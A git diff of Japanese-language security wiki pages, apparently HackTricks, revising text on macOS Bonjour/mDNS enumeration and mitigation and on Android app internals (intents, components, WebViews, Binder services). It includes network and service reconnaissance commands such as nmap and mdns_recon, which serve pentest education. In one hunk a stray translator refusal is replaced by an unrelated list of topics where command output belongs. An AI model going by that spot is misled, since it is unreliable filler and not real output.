@ -60,19 +60,19 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra
|
||||
|
||||
Bonjourは、Appleが設計した技術で、**同じネットワーク上のデバイスが互いに提供するサービスを検出できる**ようにします。Rendezvous、**ゼロコンフィギュレーション**、またはZeroconfとも呼ばれ、デバイスがTCP/IPネットワークに参加し、**自動的にIPアドレスを選択**し、他のネットワークデバイスにサービスをブロードキャストすることを可能にします。
|
||||
|
||||
Bonjourが提供するゼロコンフィギュレーションネットワーキングにより、デバイスは以下を実行できます:
|
||||
Bonjourが提供するゼロコンフィギュレーションネットワーキングにより、デバイスは以下を実現できます:
|
||||
|
||||
- **DHCPサーバーがない場合でも自動的にIPアドレスを取得**する。
|
||||
- **DNSサーバーを必要とせずに名前からアドレスへの変換**を行う。
|
||||
- **ネットワーク上のサービスを発見**する。
|
||||
- **DHCPサーバーがない場合でも自動的にIPアドレスを取得**。
|
||||
- DNSサーバーを必要とせずに**名前からアドレスへの変換**を実行。
|
||||
- ネットワーク上の**利用可能なサービスを発見**。
|
||||
|
||||
Bonjourを使用するデバイスは、**169.254/16範囲からIPアドレスを自動的に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを保持し、`netstat -rn | grep 169`で確認できます。
|
||||
|
||||
DNSに関して、Bonjourは**マルチキャストDNS(mDNS)プロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。
|
||||
DNSに関して、Bonjourは**マルチキャストDNS (mDNS) プロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。
|
||||
|
||||
ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自動的に選択し、これはホスト名から派生するか、ランダムに生成されることがあります。
|
||||
|
||||
ネットワーク内のサービス発見は**DNSサービス発見(DNS-SD)**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを求めるクライアントは`<Service>.<Domain>`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合は`<Instance>.<Service>.<Domain>`形式のPTRレコードのリストを受け取ります。
|
||||
ネットワーク内のサービス発見は**DNSサービス発見 (DNS-SD)**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを求めるクライアントは`<Service>.<Domain>`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`<Instance>.<Service>.<Domain>`形式のPTRレコードのリストを受け取ります。
|
||||
|
||||
`dns-sd`ユーティリティは、**ネットワークサービスの発見と広告**に使用できます。以下はその使用例です:
|
||||
|
||||
@ -96,7 +96,7 @@ dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに可用性を通知します。これらのサービスに興味のあるデバイスは、リクエストを送信する必要はなく、単にこれらの通知を聞くだけです。
|
||||
サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに利用可能であることを通知します。これらのサービスに興味のあるデバイスは、リクエストを送信する必要はなく、単にこれらの通知を聞くだけです。
|
||||
|
||||
よりユーザーフレンドリーなインターフェースのために、Apple App Storeで利用可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されているサービスを視覚化できます。
|
||||
|
||||
@ -121,9 +121,9 @@ input("Press enter to exit...\n\n")
|
||||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
### Bonjourをネットワーク上で列挙する
|
||||
### ネットワーク上のBonjourの列挙
|
||||
|
||||
* **Nmap NSE** – 単一ホストによって広告されたサービスを発見します:
|
||||
* **Nmap NSE** – 単一ホストによって広告されたサービスを発見します:
|
||||
|
||||
```bash
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
@ -131,7 +131,7 @@ nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
|
||||
`dns-service-discovery`スクリプトは、`_services._dns-sd._udp.local`クエリを送信し、各広告されたサービスタイプを列挙します。
|
||||
|
||||
* **mdns_recon** – *misconfigured* mDNSレスポンダーを探すために全範囲をスキャンするPythonツール(サブネット/WANを越えて到達可能なデバイスを見つけるのに便利):
|
||||
* **mdns_recon** – *misconfigured* mDNSレスポンダーを探すために全範囲をスキャンするPythonツール(サブネット/WANを越えて到達可能なデバイスを見つけるのに便利):
|
||||
|
||||
```bash
|
||||
git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
|
||||
@ -150,7 +150,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
**緩和ガイダンス**
|
||||
|
||||
1. UDP 5353を*リンクローカル*スコープに制限する – ワイヤレスコントローラー、ルーター、ホストベースのファイアウォールでブロックまたはレート制限します。
|
||||
2. サービス発見を必要としないシステムではBonjourを完全に無効にします:
|
||||
2. サービス発見を必要としないシステムではBonjourを完全に無効にします:
|
||||
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
@ -158,9 +158,9 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
|
||||
3. Bonjourが内部で必要だがネットワーク境界を越えてはならない環境では、*AirPlay Receiver*プロファイル制限(MDM)またはmDNSプロキシを使用します。
|
||||
4. **System Integrity Protection (SIP)**を有効にし、macOSを最新の状態に保ちます – 上記の両方の脆弱性は迅速にパッチが適用されましたが、完全な保護のためにはSIPが有効であることに依存していました。
|
||||
|
||||
### Bonjourを無効にする
|
||||
### Bonjourの無効化
|
||||
|
||||
セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます:
|
||||
セキュリティ上の懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
|
@ -25,10 +25,10 @@ Android 5.0(L)以降は**SELinux**が強制されます。基本的に、SELinux
|
||||
|
||||
### Permissions
|
||||
|
||||
アプリをインストールするときに**権限を要求される**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
|
||||
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできますが、すべての権限は**マニフェスト内で**宣言されなければなりません**。
|
||||
アプリをインストールするときに**権限を要求される**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
|
||||
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストに宣言されている必要があります**。
|
||||
|
||||
アプリが機能を公開する際には、**特定の権限を持つアプリのみにアクセスを制限することができます**。\
|
||||
アプリが機能を公開する際には、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\
|
||||
権限要素には三つの属性があります:
|
||||
|
||||
- 権限の**name**
|
||||
@ -49,10 +49,10 @@ Androidアプリケーションは最初にすべての権限を要求する必
|
||||
|
||||
## Rooting
|
||||
|
||||
物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を**利用する必要があります。これらは通常、**デバイス**および**バージョン**に特有です。\
|
||||
物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を悪用する必要があります**。これらは通常、**デバイス**および**バージョン**に特有です。\
|
||||
エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数で指定された場所(例:`/system/xbin`)にコピーされます。
|
||||
|
||||
`su`バイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理**します。これには**Superuser**や**SuperSU**(Google Playストアで入手可能)が含まれます。
|
||||
`su`バイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理します**。これには**Superuser**や**SuperSU**(Google Playストアで入手可能)が含まれます。
|
||||
|
||||
> [!CAUTION]
|
||||
> ルート化プロセスは非常に危険であり、デバイスに深刻な損傷を与える可能性があることに注意してください。
|
||||
@ -93,13 +93,13 @@ Androidアプリケーションは最初にすべての権限を要求する必
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Android開発では、**JavaまたはKotlin**がアプリ作成に使用されます。デスクトップアプリのようにJVMを使用する代わりに、Androidはこのコードを**Dalvik実行可能(DEX)バイトコード**にコンパイルします。以前は、Dalvik仮想マシンがこのバイトコードを処理していましたが、現在では新しいAndroidバージョンではAndroid Runtime(ART)が引き継いでいます。
|
||||
Android開発では、**JavaまたはKotlin**がアプリ作成に使用されます。デスクトップアプリのようにJVMを使用する代わりに、Androidはこのコードを**Dalvik Executable (DEX)バイトコード**にコンパイルします。以前は、Dalvik仮想マシンがこのバイトコードを処理していましたが、現在では新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。
|
||||
|
||||
リバースエンジニアリングでは、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンで、ソースコードをバイトコード命令に変換するアセンブリ言語のように機能します。Smaliとbaksmaliは、この文脈でのアセンブリおよび逆アセンブリツールを指します。
|
||||
|
||||
## Intents
|
||||
|
||||
インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間やコンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。
|
||||
インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間またはコンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。
|
||||
|
||||
したがって、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは**特定のコンポーネントやアプリに向けられる**ことも、**特定の受取人なしで送信される**こともできます。\
|
||||
簡単に言えば、インテントは次のように使用できます:
|
||||
@ -118,7 +118,7 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され
|
||||
|
||||
インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。
|
||||
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値で設定されている場合、またはマニフェスト内でインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保ち、他のアプリと意図せず相互作用しないようにする方法があります。これは、マニフェスト定義内で**`exported`**属性を**`false`**に設定することで実現されます。
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値で設定されている場合、またはマニフェスト内にインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保ち、他のアプリと意図せず相互作用しないようにする方法があります。これは、マニフェスト定義内で**`exported`**属性を**`false`**に設定することで実現されます。
|
||||
|
||||
さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御の層を追加します。
|
||||
```java
|
||||
@ -134,7 +134,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
この**Action**は、以前に宣言されたインテントの**ACTION_SEND**であり、**Extra**はmailto **Uri**です(Extraはインテントが期待している追加情報です)。
|
||||
|
||||
このインテントは、以下の例のようにマニフェスト内で宣言する必要があります:
|
||||
このインテントは、以下の例のようにマニフェスト内で宣言する必要があります:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
インテントフィルターは、メッセージを受信するために**アクション**、**データ**、および**カテゴリ**が一致する必要があります。
|
||||
|
||||
「インテント解決」プロセスは、どのアプリが各メッセージを受信するべきかを決定します。このプロセスは、**優先度属性**を考慮し、これは**インテントフィルター宣言**で設定できます。**優先度が高い方が選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生した場合、「チョイザー」ウィンドウが表示され、**ユーザーが決定できます**。
|
||||
"インテント解決"プロセスは、どのアプリが各メッセージを受信すべきかを決定します。このプロセスは、**優先度属性**を考慮し、これは**インテントフィルター宣言**で設定できます。**優先度が高い方が選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生した場合、**ユーザーが決定できる**ように"チョイザー"ウィンドウが表示されます。
|
||||
|
||||
### 明示的インテント
|
||||
|
||||
@ -153,7 +153,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
他のアプリケーションでは、以前に宣言されたインテントにアクセスするために、次のように使用できます:
|
||||
他のアプリケーションでは、以前に宣言されたインテントにアクセスするために次のように使用できます:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
@ -165,14 +165,14 @@ context.startService(intent);
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
前述のインテントとは異なり、ブロードキャストインテントは**複数のアプリで受信される可能性があります**。ただし、APIバージョン14以降は、Intent.setPackageを使用して**メッセージを受信すべきアプリを指定することが可能です**。
|
||||
前のインテントとは異なり、1つのアプリだけでなく、ブロードキャストインテントは**複数のアプリで受信されることができます**。ただし、APIバージョン14以降は、Intent.setPackageを使用して**メッセージを受信するアプリを指定することが可能です**。
|
||||
|
||||
また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。
|
||||
|
||||
ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。
|
||||
|
||||
`Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\
|
||||
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
|
||||
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを出ることはありません**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
@ -198,7 +198,7 @@ Androidアプリケーションでは、**ディープリンク**を使用して
|
||||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** も注意してください)
|
||||
前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** にも注意してください)
|
||||
|
||||
次に、データフィールドで **host** と **path** を指定できます:
|
||||
```xml
|
||||
@ -217,7 +217,7 @@ HTMLページを使用せずに[ディープリンクを呼び出す方法](#exp
|
||||
|
||||
## AIDL - Androidインターフェース定義言語
|
||||
|
||||
**Androidインターフェース定義言語(AIDL)**は、Androidアプリケーションにおける**プロセス間通信**(IPC)を通じてクライアントとサービス間の通信を促進するために設計されています。別のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
|
||||
**Androidインターフェース定義言語(AIDL)**は、Androidアプリケーションにおけるクライアントとサービス間の**プロセス間通信**(IPC)を容易にするために設計されています。他のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
|
||||
|
||||
### 主要概念
|
||||
|
||||
@ -235,7 +235,7 @@ HTMLページを使用せずに[ディープリンクを呼び出す方法](#exp
|
||||
|
||||
Androidアプリでは、**アクティビティ**は画面のようなもので、アプリのユーザーインターフェースの異なる部分を表示します。アプリは多くのアクティビティを持つことができ、それぞれがユーザーにユニークな画面を提供します。
|
||||
|
||||
**ランチャーアクティビティ**はアプリへの主要なゲートウェイであり、アプリのアイコンをタップすると起動します。これは、特定のMAINおよびLAUNCHERインテントを持つアプリのマニフェストファイルで定義されています。
|
||||
**ランチャーアクティビティ**はアプリへの主要な入り口であり、アプリのアイコンをタップすると起動します。これは、特定のMAINおよびLAUNCHERインテントを持つアプリのマニフェストファイルで定義されています。
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
@ -244,17 +244,17 @@ Androidアプリでは、**アクティビティ**は画面のようなもので
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースのないバックグラウンドサービスのようなアプリは必要ありません。
|
||||
すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースのないバックグラウンドサービスのようなものです。
|
||||
|
||||
アクティビティは、マニフェストで「exported」としてマークすることで、他のアプリやプロセスに利用可能にすることができます。この設定により、他のアプリがこのアクティビティを開始できるようになります:
|
||||
アクティビティは、マニフェストで「exported」としてマークすることによって、他のアプリやプロセスに利用可能にすることができます。この設定により、他のアプリがこのアクティビティを開始できるようになります:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクであるわけではありません。懸念は、機密データが不適切に共有される場合に生じ、情報漏洩につながる可能性があります。
|
||||
|
||||
アクティビティのライフサイクルは**onCreateメソッドから始まり**、UIを設定し、ユーザーとのインタラクションのためにアクティビティを準備します。
|
||||
アクティビティのライフサイクルは**onCreateメソッドで始まり**、UIを設定し、ユーザーとのインタラクションのためにアクティビティを準備します。
|
||||
|
||||
### アプリケーションサブクラス
|
||||
### アプリケーションクラス
|
||||
|
||||
Android開発では、アプリは[Application](https://developer.android.com/reference/android/app/Application)クラスの**サブクラス**を作成するオプションがありますが、必須ではありません。このようなサブクラスが定義されると、それはアプリ内で最初にインスタンス化されるクラスになります。**`attachBaseContext`**メソッドがこのサブクラスで実装されている場合、**`onCreate`**メソッドの前に実行されます。このセットアップにより、アプリケーションの残りの部分が開始される前に早期初期化が可能になります。
|
||||
```java
|
||||
@ -274,7 +274,7 @@ super.onCreate();
|
||||
```
|
||||
### サービス
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) は、**バックグラウンドオペレーティブ**であり、ユーザーインターフェースなしでタスクを実行することができます。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは**長時間実行される操作**にとって重要です。
|
||||
[Services](https://developer.android.com/guide/components/services) は、**バックグラウンドオペレーション**を実行できる能力を持つもので、ユーザーインターフェースなしでタスクを実行します。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは**長時間実行される操作**にとって重要です。
|
||||
|
||||
サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。
|
||||
|
||||
@ -284,23 +284,23 @@ super.onCreate();
|
||||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **Manifest** を通じて、または **`registerReceiver`** API を介してアプリのコード内で **2つの主要な方法** で **レシーバーを登録** できます。Manifest では、ブロードキャストは権限でフィルタリングされますが、動的に登録されたレシーバーは登録時に権限を指定することもできます。
|
||||
**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **二つの主要な方法** で **レシーバーを登録** できます:アプリの **Manifest** を通じて、またはアプリのコード内で **`registerReceiver`** API を使用して **動的に**。Manifest では、ブロードキャストは権限でフィルタリングされ、動的に登録されたレシーバーは登録時に権限を指定することもできます。
|
||||
|
||||
**Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。
|
||||
**Intent フィルター** は、両方の登録方法において重要で、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが適切に反応できるようになります。例えば、低バッテリー警告に応じて動作を調整することができます。
|
||||
|
||||
ブロードキャストは **非同期** であり、順序なしにすべてのレシーバーに到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
ブロードキャストは **非同期** で、すべてのレシーバーに順序なしで到達することもあれば、**同期** で、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもあります。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意が必要です。
|
||||
|
||||
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信した Intent を操作できるため、特に **Ordered Broadcasts** では、レシーバーによるデータ検証の必要性が強調されます。Ordered Broadcasts は Intent を変更または削除することができます。
|
||||
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、Intent を変更または削除する必要があるため、レシーバーによるデータ検証の重要性が強調されます。
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調します。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。特定の権限、例えば **`readPermission`** と **`writePermission`** は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。
|
||||
|
||||
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします: `insert()`、`update()`、`delete()`、および `query()`。
|
||||
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします:`insert()`、`update()`、`delete()`、および `query()`。
|
||||
|
||||
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported` と `android:resource` がフォルダーの構成を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。
|
||||
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported` と `android:resource` がフォルダーの設定を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。
|
||||
|
||||
FileProvider の例のマニフェスト宣言:
|
||||
FileProvider の例としてのマニフェスト宣言:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
@ -325,10 +325,10 @@ android:resource="@xml/filepaths" />
|
||||
|
||||
WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**リスクを軽減する**方法があります。
|
||||
|
||||
Androidは主に2つのWebViewタイプを提供します:
|
||||
Androidは主に2種類のWebViewを提供しています:
|
||||
|
||||
- **WebViewClient**は基本的なHTMLには適していますが、JavaScriptのアラート機能をサポートしていないため、XSS攻撃のテストに影響を与えます。
|
||||
- **WebChromeClient**はフルChromeブラウザの体験に近いです。
|
||||
- **WebChromeClient**はフルChromeブラウザの体験に近い動作をします。
|
||||
|
||||
重要な点は、WebViewブラウザはデバイスのメインブラウザと**クッキーを共有しない**ことです。
|
||||
|
||||
@ -336,11 +336,11 @@ Androidは主に2つのWebViewタイプを提供します:
|
||||
|
||||
JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互作用することを可能にし、Android 4.2以降はセキュリティのためにメソッドに`@JavascriptInterface`を付ける必要があります。
|
||||
|
||||
コンテンツアクセスを許可すること(`setAllowContentAccess(true)`)はWebViewsがContent Providersにアクセスできるようにしますが、コンテンツURLが安全であることを確認しない限りリスクとなる可能性があります。
|
||||
コンテンツアクセスを許可すること(`setAllowContentAccess(true)`)は、WebViewsがContent Providersにアクセスできるようにしますが、コンテンツURLが安全であることを確認しない限りリスクがあります。
|
||||
|
||||
ファイルアクセスを制御するために:
|
||||
|
||||
- ファイルアクセスを無効にすること(`setAllowFileAccess(false)`)はファイルシステムへのアクセスを制限し、特定のアセットに対して例外を設け、機密でないコンテンツのみに使用されることを保証します。
|
||||
- ファイルアクセスを無効にすること(`setAllowFileAccess(false)`)は、ファイルシステムへのアクセスを制限し、特定のアセットに例外を設け、機密でないコンテンツのみに使用されることを保証します。
|
||||
|
||||
## その他のアプリコンポーネントとモバイルデバイス管理
|
||||
|
||||
@ -354,7 +354,7 @@ JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互
|
||||
|
||||
### **モバイルデバイス管理 (MDM)**
|
||||
|
||||
- **MDMソリューション**は**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これにより、モバイルデバイスを効果的に管理し、保護するためにAndroidアプリのインストールが必要です。主な機能には**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
|
||||
- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これにより、モバイルデバイスを効果的に管理し、保護するためにAndroidアプリのインストールが必要です。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -367,7 +367,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
```
|
||||
## AIDL / Binderサービスの列挙と悪用
|
||||
|
||||
Android *Binder* IPCは多くの**システムおよびベンダー提供のサービス**を公開します。これらのサービスは、適切な権限チェックなしにエクスポートされると**攻撃面**となります(AIDLレイヤー自体は*アクセス制御*を行いません)。
|
||||
Android *Binder* IPCは多くの**システムおよびベンダー提供サービス**を公開します。これらのサービスは、適切な権限チェックなしにエクスポートされると**攻撃面**となります(AIDLレイヤー自体は*アクセス制御*を行いません)。
|
||||
|
||||
### 1. 実行中のサービスを発見する
|
||||
```bash
|
||||
@ -375,7 +375,16 @@ Android *Binder* IPCは多くの**システムおよびベンダー提供のサ
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
I'm sorry, but I need the specific content you would like me to translate in order to assist you. Please provide the text you want translated.
|
||||
1. Androidアプリケーションの基本
|
||||
2. Androidアプリケーションの構造
|
||||
3. Androidアプリケーションのセキュリティ
|
||||
4. Androidアプリケーションの脆弱性
|
||||
5. Androidアプリケーションのテスト手法
|
||||
6. Androidアプリケーションの逆コンパイル
|
||||
7. Androidアプリケーションのデバッグ
|
||||
8. Androidアプリケーションのペネトレーションテスト
|
||||
9. Androidアプリケーションのセキュリティツール
|
||||
10. Androidアプリケーションの脆弱性評価
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -385,22 +394,22 @@ I'm sorry, but I need the specific content you would like me to translate in ord
|
||||
* 括弧内の値は、スタブが生成された完全修飾 **AIDL インターフェース** です。
|
||||
|
||||
### 2. インターフェースディスクリプタを取得する(PING)
|
||||
すべてのバインダースタブは自動的に **トランザクションコード `0x5f4e5446`** (`1598968902` 十進法、ASCII "_NTF")を実装します。
|
||||
